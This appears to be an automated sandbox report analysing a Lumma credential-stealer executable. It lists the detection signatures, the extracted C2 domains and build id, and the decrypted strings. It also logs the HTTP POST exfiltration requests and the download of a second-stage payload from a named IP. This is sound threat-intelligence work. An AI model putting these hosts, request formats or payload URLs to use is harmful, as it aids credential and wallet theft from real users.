Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544127
MD5:	693ece77c0e3fbc32d18393b31bc55a2
SHA1:	7608b41ce0d5a18267ce2093134e636d3dca10e9
SHA256:	f3739ff53879b58f01646f7d49bba3c440243a9d0e9c21c8220d9760f71ec9ac
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6776 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 693ECE77C0E3FBC32D18393B31BC55A2)

JJZGOUTRQA0HU75NUH14KKL5I2.exe (PID: 4676 cmdline: "C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe" MD5: 1BA0807FE779351DA159864E42D26753)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["thumbystriw.store", "navygenerayk.store", "necklacedmny.store", "founpiuer.store", "presticitpo.store", "crisiwarny.store", "scriptyprefej.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2078318593.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2080407457.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2127567733.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6776	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6776	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:01.235478+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-28T21:40:02.684222+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-28T21:40:14.042941+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:01.235478+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:02.684222+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:15.116150+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49712	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:09.012653+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	188.114.96.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:40:10.302927+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49710	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6776.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["thumbystriw.store", "navygenerayk.store", "necklacedmny.store", "founpiuer.store", "presticitpo.store", "crisiwarny.store", "scriptyprefej.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: JJZGOUTRQA0HU75NUH14KKL5I2.exe, 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmp, JJZGOUTRQA0HU75NUH14KKL5I2.exe, 00000003.00000003.2276471101.0000000005470000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49710 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 20:40:14 GMTContent-Type: application/octet-streamContent-Length: 2835968Last-Modified: Mon, 28 Oct 2024 19:55:10 GMTConnection: keep-aliveETag: "671fec1e-2b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 b3 1f 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 79 6a 63 6e 65 63 69 00 00 2b 00 00 a0 00 00 00 e6 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 69 67 70 6c 75 69 00 20 00 00 00 a0 2b 00 00 04 00 00 00 20 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 24 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49712 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1255Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570439Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000002.2263525001.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Q
Source: file.exe, 00000000.00000002.2263229004.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2263229004.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeL
Source: file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee~
Source: file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeh
Source: file.exe, 00000000.00000002.2263110644.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exex
Source: file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exey.
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
